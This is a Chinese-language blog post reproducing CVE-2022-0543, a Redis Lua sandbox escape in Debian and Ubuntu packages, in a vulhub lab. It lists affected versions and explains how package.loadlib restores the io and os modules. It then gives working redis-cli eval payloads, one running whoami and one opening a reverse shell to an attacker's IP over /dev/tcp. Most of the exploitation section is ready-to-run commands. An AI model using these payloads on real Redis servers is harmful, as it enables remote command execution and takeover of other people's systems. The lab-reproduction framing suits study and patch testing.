影响范围:

  • Debian 10 (Buster) Redis 软件包: 5.0 - 5.0.14-1

  • Debian 11 (Bullseye) Redis 软件包: 6.0 - 6.0.16-1

  • Ubuntu 18.04 LTS Redis 软件包: 4.0.0 - 4.0.9-1ubuntu0.2

  • Ubuntu 20.04 LTS Redis 软件包: 5.0.0 - 5.0.7-2ubuntu0.1

  • Ubuntu 22.04 LTS Redis 软件包: 6.0.0 - 6.0.15-1ubuntu0.1

  • Docker Redis (Debian/Bullseye 变体) 镜像: 5.0.0 - 5.0.14

  • Docker Redis (Debian/Bullseye 变体) 镜像: 6.0.0 - 6.0.15

  • Kali Linux Redis 软件包: 5.0.0 - 6.0.15

  • Raspbian (树莓派) Redis 软件包: 4.0.0 - 6.0.15

  • 其他 Debian 系衍生版 Redis 软件包: 4.0.0 - 7.0.0-rc2

漏洞类型:

Redis Lua沙箱逃逸

操作系统限制:

Debian/Ubantu

配置要求:

  • 开启6379端口

漏洞利用:

命令执行,反弹shell

利用原理:

官方设计的Redis中,Lua脚本运行在高度受限的沙箱环境,Debian维护者答辩Redis时候加入补丁,将package模块引入Lua的全局环境,package.loadlib允许Lua直接调用Linux系统的动态链接库,攻击者通过redis-cli连接到未授权或已知密码的Redis,且目标一致为Debian/Ubantu系统,攻击者知道系统自带Lua库位置,利用package.loadlib重新加载系统库中的luaopen_os或luaopen_io函数,将Redis删除的os和io模块重新注入回Lua环境,攻击者可以调用os.execute()执行系统命令,通过io.popen()读取执行后回显结果,可以通过这些特性进行getshell

漏洞复现:

现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/redis/CVE-2022-0543
#拉取镜像
docker-compose up -d

安装工具redis

# 更新源并安装 redis
sudo yum install redis -y

拦截靶机

redis-cli -h 靶机ip

执行敏感命令

#执行whoami
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

进行反弹shell,nc开启监听

执行反弹shell命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c \"bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1\"", "r"); f:close();' 0

成功连接


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Redis
喜欢就支持一下吧